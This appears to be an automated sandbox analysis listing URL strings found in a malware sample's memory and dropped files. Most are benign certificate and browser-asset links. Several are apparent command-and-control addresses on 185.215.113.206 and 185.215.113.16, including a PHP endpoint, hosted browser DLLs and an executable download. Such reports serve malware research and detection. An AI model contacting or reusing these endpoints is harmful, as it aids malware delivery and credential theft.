Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exex
Source: file.exe, 00000000.00000002.2619339487.0000000000665000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/$
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/4
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllV
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllz
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllH
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllL
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllR
Source: file.exe, 00000000.00000002.2625469567.0000000001383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/I
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/a
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.000000000144D000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/c
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/u
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2%
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.000000000121D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.000000000121D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: file.exe, 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpeT
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.000000000121D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phphQ2v
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.000000000144D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: file.exe, 00000000.00000002.2619339487.0000000000665000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpz%
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~wg$
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/k
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/l
Source: file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/r
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.000000000144D000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206S_
Source: file.exe, 00000000.00000002.2619339487.0000000000665000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206y
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_465.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654880880.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JEHIJJKE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_467.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_467.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_467.5.dr, chromecache_465.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 4163abde-9904-4e58-b214-c613a4eb5ed6.tmp.10.dr, 9ea67364-8430-4fd4-89e9-4f7b5d777328.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: JEHIJJKE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 6322027c-749c-41a5-82e3-b194ec7b8ece.tmp.10.dr, 4163abde-9904-4e58-b214-c613a4eb5ed6.tmp.10.dr, 9ea67364-8430-4fd4-89e9-4f7b5d777328.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6322027c-749c-41a5-82e3-b194ec7b8ece.tmp.10.dr, 4163abde-9904-4e58-b214-c613a4eb5ed6.tmp.10.dr, 9ea67364-8430-4fd4-89e9-4f7b5d777328.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_467.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_467.5.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_467.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JEHIJJKE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.ldb.9.dr	String found in binary or memory: https://edgeassetservice.azure
Source: 4163abde-9904-4e58-b214-c613a4eb5ed6.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.ldb.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
